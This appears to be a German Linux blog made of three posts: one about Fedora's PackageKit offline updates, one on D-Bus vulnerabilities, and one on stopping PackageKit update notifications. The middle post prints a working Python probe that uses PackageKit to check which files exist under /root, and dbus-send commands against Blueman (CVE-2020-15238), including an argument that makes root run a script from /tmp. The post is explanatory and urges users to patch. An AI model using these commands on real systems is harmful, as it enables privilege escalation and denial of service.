Fedora und das Packagekit Offline Update

Vor einigen Releases hat Fedora ein neues Updateverhalten via Packagekit eingeführt, das verdächtig nach „Windows macht das auch so“ stank. Wie grottig das wirklich laufen kann, kommt unten in Bild & Schrift.

Fedora und das Packagekit Offline Update

Um es gleich mal vorweg zu schicken: Ich bin pro Fedora und achte das, was die da auf die Beine stellen.

Aber nur weil man es mag, muß man nicht mit allem einverstanden sein und die Änderung des Updateverhaltens durch Packagekit’s „Offline Update“ ist eine der Sachen die ich nicht unterstützen kann. Damit Ihr Euch ein Bild von der Sache machen könnt, habe ich da mal was abgelichtet.

Ich bitte die schlechte Bildqualität zu entschuldigen, aber Screenshots sind an der Stelle im Bootvorgang nicht vorgesehen 😉

Gestern

Gestern war ich mit meinem Surface bei einem Kunden. Während ich da gearbeitet habe, hat sich Packagekit mit Updates versorgt, diese aber nicht eingespielt. ich hab es nur gemerkt, weil ich das Bandbreitenwidget im Gnome habe, das plötzlich hektisch aktiv wurde.

Heute morgen

schalte ich mein Tablet ein, weil ich für den nächsten Artikel was testen wollte. Es kommt die Kernel Auswahl, es kommt die Passwortabfrage für LUKS und dann passiert es:

Bitte fahren Sie den Computer nicht runter!

Größtenteils weiß man nicht mal, was da aktualisiert wird.

Es lief ein Offline-Update von Packagekit 🙁 Nicht 10 Sekunden, nicht 30 Sekunden, nicht eine Minute, nicht fünf Minuten, nein, für knappe acht Minuten war das Geräte vollständig blockiert. Weil ein neuer Kernel installiert worden war, mußten auch alle AKMOD Module für alle Kernels neu gebaut werden. Und dann … gingen die Lichter aus und blieben aus.

Achtet mal auf die Zeiten vom packagekit-offline-update.service

Anstatt das Update einzuspielen und durchzubooten, wurde das Tablet danach einfach abgeschaltet. Kommentarlos übrigens 🙁

Wie Ihr oben in den Bildern und hier sehen könnt:

wird einem nicht mal erzählt, was da aktualisiert wurde. Ab und zu blitzt mal ein Name durchs Display, aber das wars dann auch schon.

Per DNF aktualisiert, gibt es ein Logfile, in dem ganz genau drin steht, wann was von welcher Version auf welche neue Version aktualisiert wurde. Da DNF das Update nicht gemacht hat, ratet mal …

Natürlich gibt es von PackageKit auch einen Logeintrag. Den kann man sich aber so nicht ansehen, weil man dazu den GPK Logger aufrufen muß: gpk-log

Das ist ultimativ toll, wenn man von dem Tool noch nie etwas gehört hat, oder? Ein grep über /var/log bringt einem nämlich nur die Einträge von DNF, die zum Packagekit Paket gehören, wenn DNF das updated 😀

Die Krönung des Ganzen

war dann der Umstand, daß ich sowieso noch ein Update vorhatte, um den neuen Surfacekernel einzuspielen. Dazu mußten einige alte LUA Paket entfernt werden, damit das Update überhaupt stattfinden konnte. Als dann das Update endlich ging, war schon wieder ein neuer normaler Kernel verfügbar, der dann natürlich auch alle Kernel-Module neu bauen mußte.

Fazit

Das offline-update ist in diesem Fall lästig und überflüssig gewesen, weil beim nächsten Start schon neue Pakete zur Verfügung standen. Der Sinn und Zweck davon, es beim BOOTEN durchzuziehen, erschließt sich ohnehin nicht, weil für ein Kernelupdate die Kernelmods neugebaut werden müssen und damit die dann auch benutzt werden, muß man ohnehin rebooten, was „Packagekit Offline-Update“ dann ja auch, mit wenig Erfolg, gemacht hat.

Da kann man es doch auch gleich beim Runterfahren installieren, oder??? Dann kann man am nächsten Tag wenigstens sofort arbeiten.

Lösung

Wie bekommen wir das weg?

systemctl disable packagekit packagekit-offline-update
systemctl mask packagekit

„Wir sehen uns wieder, wenn Du wieder vernünftiger geworden bist.“ Denn natürlich gibt es einen Grund, wieso man nicht einfach so GB!weise Daten zieht, nur weil man eine Internetanbindung hat.

 

D-BUS: Schwachstellen mit Blueman und PackageKit

Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂  Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN …  wurden einige Sicherheitslücken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen müssen.

D-BUS: Schwachstellen mit Blueman und PackageKit

Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prüfen kann, die eigentlich nur Root überhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

Möglich macht das eine mangelnde Prüfung, ob der User überhaupt autorisiert ist, diese Anfrage stellen zu dürfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc

Das ist die Antwort für eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf für eine Datei, die nicht vorhanden ist:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333

Beurteilung:

  • – Man muß auf dem System als Benutzer angemeldet sein.
  • – Man muß sich mühseelig jede Datei einzeln vornehmen, was sich etwas automatisieren läßt, also schon wissen, was man sucht.
    – Man kann nicht auf den Inhalt schliessen.
  • – Es läßt sich so aber einfach feststellen, ob bestimmte Software installiert ist.

Ich halte die Lücke für nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

Die Blueman Lücke ist deutlich schlimmer, da man darüber Befehle ausführen kann. Das läßt sich zudem trivial ausnutzen:

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da über den D-BUS übergibt, daß man diese Lücke nur für einen DOS, aber nicht für die Local Privilege Escalation Attacke ausnutzen kann. Die würde so funktionieren:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"

Also vorher ein Script anlegen, daß root dann ausführen darf => GGS .. Ganz Große Scheiße!

Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal für ein paar Updates auf Eurem System 😉

 

 

Wie man die Desktopnotifications für Updates los wird

Vor einigen Wochen habe ich GEDIT F21 auf die F20 Version gedowngradet, weil das Programm unerträglich unbrauchbar gemacht wurde. Seitdem Tag nervt mich der Desktop mit Notifications, daß genau dieses Paket komplett veraltet sein und ich doch die Updates einspielen solle.

Natürlich hatte ich YUM erzählt, die Updates nicht einzuspielen. Für die Desktopanwendung „Software“ aka PackageKit gilt die YUM Einstellung aber nicht, die macht das gerne selbstständig. Da PackageKit keine Configeinstellungen dafür parat hat, kann man es nur als Root abschalten :

systemctl stop packagekit
systemctl disable packagekit

Bevor man das macht, sollte man sicherstellen, daß man so einen CronJob z.b. als /etc/cron.d/yum angelegt hat:

 1 */2 * * * root yum -y update >>/var/log/messages

Sonst kommen nämlich gar keine Updates mehr an und das möchten man gar nicht haben.